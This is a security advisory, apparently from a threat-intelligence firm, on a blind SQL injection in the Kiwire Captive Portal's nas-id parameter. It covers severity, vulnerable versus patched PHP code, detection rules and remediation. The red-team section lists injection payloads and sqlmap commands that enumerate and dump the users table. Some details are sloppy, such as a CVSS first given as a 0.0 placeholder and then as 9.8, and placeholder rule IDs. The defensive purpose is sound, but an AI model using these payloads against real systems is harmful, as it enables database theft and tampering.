CVE-2025-11188

Executive Summary

CVE-2025-11188 is a critical blind SQL injection vulnerability discovered in the Kiwire Captive Portal. The flaw resides in the nas-id parameter, which is not properly sanitized before being used in SQL queries. This allows an unauthenticated attacker to inject arbitrary SQL commands, potentially leading to full compromise of the underlying database. The vulnerability has a CVSS score of 0.0 (placeholder) but based on the vector, it is assessed as critical. No official patch or advisory has been released by the vendor at this time. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the technical impact is severe.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerable component and the database are in the same security authority.
• Confidentiality Impact: High (C:H) – Full database read access.
• Integrity Impact: High (I:H) – Ability to modify or delete data.
• Availability Impact: High (A:H) – Potential to disrupt database service.

Threat Level: Critical. The vulnerability allows unauthenticated remote attackers to execute arbitrary SQL commands, leading to data exfiltration, modification, or denial of service.

Deep Dive & Mechanics

The Kiwire Captive Portal is a network access control solution used to manage guest Wi-Fi and network authentication. The nas-id parameter is typically used to identify the Network Access Server (NAS) device. The application fails to sanitize or parameterize this input before incorporating it into SQL queries.

Vulnerable Code Pattern (Conceptual):

$nas_id = $_GET['nas-id'];
$query = "SELECT * FROM nas_devices WHERE id = '$nas_id'";
$result = mysqli_query($conn, $query);

Exploitation Mechanics: An attacker can inject SQL commands by manipulating the nas-id parameter. Since it is a blind SQL injection, the attacker does not see direct error output but can infer results based on application behavior (e.g., response time, HTTP status codes). Common techniques include:

• Boolean-based blind: ' OR '1'='1 to force a true condition.
• Time-based blind: ' OR SLEEP(5)-- to introduce delays.
• UNION-based (if visible): ' UNION SELECT 1,2,3-- to retrieve data.

Impact:

• Full database compromise (read/write/delete).
• Potential lateral movement if database credentials are reused.
• Disclosure of sensitive user data (passwords, session tokens, etc.).

Vulnerable vs. Patched Code

Vulnerable Code (PHP example):

$nas_id = $_GET['nas-id'];
$query = "SELECT * FROM nas_devices WHERE id = '$nas_id'";
$result = mysqli_query($conn, $query);

Patched Code (Using Prepared Statements):

$nas_id = $_GET['nas-id'];
$stmt = $conn->prepare("SELECT * FROM nas_devices WHERE id = ?");
$stmt->bind_param("s", $nas_id);
$stmt->execute();
$result = $stmt->get_result();

Explanation: The patched version uses parameterized queries, which separate SQL logic from data. The ? placeholder is replaced with the sanitized input, preventing injection.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Target: Kiwire Captive Portal (any version).
• Attacker: Kali Linux with SQLMap and Burp Suite.

Step-by-Step Exploitation:

1. Identify the vulnerable parameter:

   curl "http://target/captiveportal/login.php?nas-id=test"
   

2. Test for blind SQL injection using time-based technique:

   curl "http://target/captiveportal/login.php?nas-id=1' OR SLEEP(5)--"
   

   If the response is delayed by 5 seconds, the injection is confirmed.

3. Automate with SQLMap:

   sqlmap -u "http://target/captiveportal/login.php?nas-id=1" --batch --dbs
   

4. Extract data:

   sqlmap -u "http://target/captiveportal/login.php?nas-id=1" --batch -D kiwire_db --tables
   sqlmap -u "http://target/captiveportal/login.php?nas-id=1" --batch -D kiwire_db -T users --dump
   

Manual Payload Examples:

• Boolean-based: ' OR '1'='1' --
• Time-based: ' OR IF(1=1,SLEEP(5),0)--
• UNION-based (if error visible): ' UNION SELECT 1,2,3--

Blue Team (Defensive)

Detection Steps:

1. Monitor HTTP logs for suspicious nas-id parameters:

   • Look for SQL keywords: OR, AND, SLEEP, UNION, SELECT, --.
   • Look for encoded payloads: %27%20OR%20%271%27%3D%271.

2. Enable WAF rules:

   • Block requests containing SQL injection patterns in the nas-id parameter.
   • Rate-limit requests to the login page.

3. Database monitoring:

   • Enable query logging and look for anomalous queries (e.g., SLEEP(5)).
   • Monitor for excessive SELECT * queries.

4. Harden the application:

   • Use prepared statements (parameterized queries).
   • Apply input validation (whitelist allowed characters).
   • Implement least privilege for database accounts.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests with nas-id parameter containing SQL keywords.
• Unusual response delays (time-based injection).
• Multiple requests to the same endpoint with varying nas-id values.

File IOCs:

• Log entries containing SQL injection patterns in /var/log/apache2/access.log or similar.
• Database logs showing SLEEP() or UNION commands.

System IOCs:

• Unexpected database connections from the web server.
• New user accounts or modified data in the users table.

Example Log Entry:

192.168.1.100 - - [10/Jan/2025:12:34:56 +0000] "GET /captiveportal/login.php?nas-id=1' OR SLEEP(5)-- HTTP/1.1" 200 1234

Detection Engineering

YARA Rule

rule CVE_2025_11188_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-11188 in Kiwire Captive Portal"
        author = "Valters IT"
        date = "2025-01-10"
        reference = "CVE-2025-11188"
    strings:
        $sqli1 = "nas-id=" nocase
        $sqli2 = "OR" nocase
        $sqli3 = "SLEEP" nocase
        $sqli4 = "UNION" nocase
        $sqli5 = "SELECT" nocase
        $sqli6 = "--" nocase
    condition:
        $sqli1 and (any of ($sqli2, $sqli3, $sqli4, $sqli5, $sqli6))
}

Sigma Rule

title: CVE-2025-11188 Kiwire Captive Portal SQL Injection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SQL injection attempts against the nas-id parameter in Kiwire Captive Portal
author: Valters IT
date: 2025/01/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - "nas-id="
            - "OR"
            - "SLEEP"
            - "UNION"
            - "SELECT"
            - "--"
    condition: selection
falsepositives:
    - Legitimate use of the word "OR" in a query (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-11188 Kiwire Captive Portal SQL Injection Attempt"; flow:to_server,established; content:"nas-id="; nocase; content:"OR"; nocase; distance:0; within:100; content:"SLEEP"; nocase; distance:0; within:100; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the vulnerable system from the internet if possible.
2. Apply a virtual patch using a WAF (e.g., ModSecurity rule to block SQL injection patterns in nas-id).
3. Review database logs for signs of compromise.

Long-term Fix:

1. Update the Kiwire Captive Portal to a patched version (once available).
2. Implement parameterized queries in all database interactions.
3. Conduct a full security audit of the application.
4. Enable input validation and output encoding.

Workaround (if patching is not possible):

• Disable the nas-id parameter functionality if not essential.
• Restrict access to the captive portal via firewall rules.
• Implement additional authentication for the portal.

Valters IT - DevSecOps & Cyber Threat Intelligence